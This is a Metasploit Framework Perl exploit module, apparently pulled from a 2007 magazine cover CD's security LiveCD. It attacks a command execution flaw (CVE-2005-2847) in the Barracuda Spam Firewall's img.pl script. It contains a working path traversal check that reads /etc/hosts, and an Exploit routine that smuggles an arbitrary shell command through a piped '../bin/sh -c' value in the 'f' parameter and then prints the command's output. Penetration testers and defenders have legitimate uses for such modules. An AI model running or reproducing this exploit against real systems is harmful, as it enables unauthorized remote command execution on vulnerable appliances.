Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/usr/lib/metasploit/exploits/barracuda_img_exec.pm

Perl POD Document | 2006-06-30 | 4.3 KB | 172 lines

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::barracuda_img_exec;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
    'Name'     => 'Barracuda IMG.PL Remote Command Execution',
    'Version'  => '$Revision: 1.3 $',
    'Authors'  => [ 'Nicolas Gregoire <[e-mail]>' ],
    'Arch'     => [ 'x86' ],
    'OS'       => [ 'linux' ],
    'Priv'     => 0,
    'UserOpts' =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 8000],
        'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
        'IMG'   => [1, 'DATA', 'Full path of img.pl script', '/cgi-bin/img.pl'],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },

    'Description' => Pex::Text::Freeform(qq{
        This module exploits an arbitrary command execution vulnerability in the
        Barracuda Spam Firewall appliance. Versions prior to  3.1.18 are vulnerable.
}),

    'Refs' =>
      [
        ['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
        ['CVE', '2005-2847'],
        ['OSVDB', '19279'],
        ['BID', '14712'],
        ['NSS', '19556'],
        ['MIL', '99'],
      ],

    'Payload' =>
      {
        'Space' => 512,
        'Keys'  => ['cmd'],
      },

    'Keys' => ['barracuda'],

    'DisclosureDate' => 'Sep 01 2005',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Check {
    my $self = shift;
    my $target_host    = $self->GetVar('RHOST');
    my $vhost          = $self->VHost;
    my $target_port    = $self->GetVar('RPORT');
    my $img            = $self->GetVar('IMG');

    my $request =
      "GET $img?f=%2e%2e/etc/hosts HTTP/1.1\r\n".
      "Accept: */*\r\n".
      "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
      "Host: $vhost:$target_port\r\n".
      "Connection: Close\r\n".
      "\r\n";

    my $s = Msf::Socket::Tcp->new(
        'PeerAddr' => $target_host,
        'PeerPort' => $target_port,
        'SSL'      => $self->GetVar('SSL'),
      );

    if ($s->IsError){
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return $self->CheckCode('Connect');
    }

    $self->PrintLine("[*] Establishing a connection to the target...");

    $s->Send($request);
    my $results = $s->Recv(-1, 20);
    $s->Close();

    if (($results =~ /HTTP\/1\..\s+200/) && ($results =~/127\.0\.0\.1/)) {

        $self->PrintLine("[*] Vulnerable server detected!");
        return $self->CheckCode('Confirmed');

    } elsif ($results =~ /HTTP\/1\..\s+([345]\d+)/) {

        $self->PrintLine("[*] The Barraccuda application was not found.");
        return $self->CheckCode('Safe');
    }

    $self->PrintLine("[*] Generic error...");
    return $self->CheckCode('Generic');
}

sub Exploit {
    my $self = shift;
    my $target_host    = $self->GetVar('RHOST');
    my $vhost          = $self->VHost;
    my $target_port    = $self->GetVar('RPORT');
    my $img            = $self->GetVar('IMG');
    my $encodedPayload = $self->GetVar('EncodedPayload');
    my $cmd            = $encodedPayload->RawPayload;

    $img = $img."?f=".Pex::Text::URLEncode(qq#../bin/sh -c "echo 'YYY';#. $cmd .qq#;echo 'YYY'"|#);

    my $request =
      "GET $img HTTP/1.1\r\n".
      "Accept: */*\r\n".
      "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
      "Host: $vhost:$target_port\r\n".
      "Connection: Close\r\n".
      "\r\n";

    my $s = Msf::Socket::Tcp->new(
        'PeerAddr' => $target_host,
        'PeerPort' => $target_port,
        'SSL'      => $self->GetVar('SSL'),
      );

    if ($s->IsError){
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    $self->PrintLine("[*] Establishing a connection to the target...");
    $s->Send($request);
    my $results = $s->Recv(-1, 20);

    if ($results =~ /HTTP\/1\.. 200 OK/im) {

        (undef, $results) = split(/YYY/, $results);

        $self->PrintLine(' ');
        $self->PrintLine("$results");
        $self->PrintLine(' ');

        $self->PrintLine("[*] End of data.");

    } else {
        $self->PrintLine(' ');
        $self->PrintLine("Doh ! Are you sure this server is vulnerable ?");
    }

    $s->Close();
    return;
}

sub VHost {
    my $self = shift;
    my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
    return $name;
}

1;